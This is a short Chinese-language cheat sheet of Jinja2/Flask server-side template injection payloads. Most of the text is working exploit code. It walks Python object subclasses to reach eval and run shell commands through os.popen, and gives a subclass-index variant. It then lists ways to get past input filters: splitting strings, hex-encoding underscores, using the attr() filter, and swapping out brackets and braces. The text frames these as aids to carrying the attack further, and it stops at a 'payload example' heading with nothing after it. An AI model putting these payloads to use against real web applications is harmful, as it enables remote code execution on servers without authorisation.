获取eval函数执行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
或者三步走
{{%27%27.__class__.__base__.__subclasses__()}}
然后https://www.huatools.com/comma-split/从这里面找到os._wrap_close
{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
对应数组直接打
在实际操作的过程中,经常会发现某些函数或者符号被过滤了,这个时候就需要一些绕过的技巧,这有助于我们进一步的开展攻击
url_for
可用 get_flashed_messages
或 request.application.__self__._get_data_for_json
等替换;['__builtins__']['eval']
变为 ['__bui'+'ltins__']['ev'+'al']
;__globals__
可用 __getattribute__('__globa'+'ls__')
替换;[]
中括号可用 .__getitem__()
或 .pop()
替换;{{
或者}}
,可以使用{%
绕过,{%%}
中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果_
,可以用编码绕过, 比如:__class__ => \\x5f\\x5fclass\\x5f\\x5f
_
,还可以用dir(0)[0][0]
或者request['args']
或者 request['values']
绕过.
我们可以采用attr()
或[]
绕过,比如:{{""|attr("__class__")|attr("__subclasses__")}}
="".__class__.__subclasses__
payload example: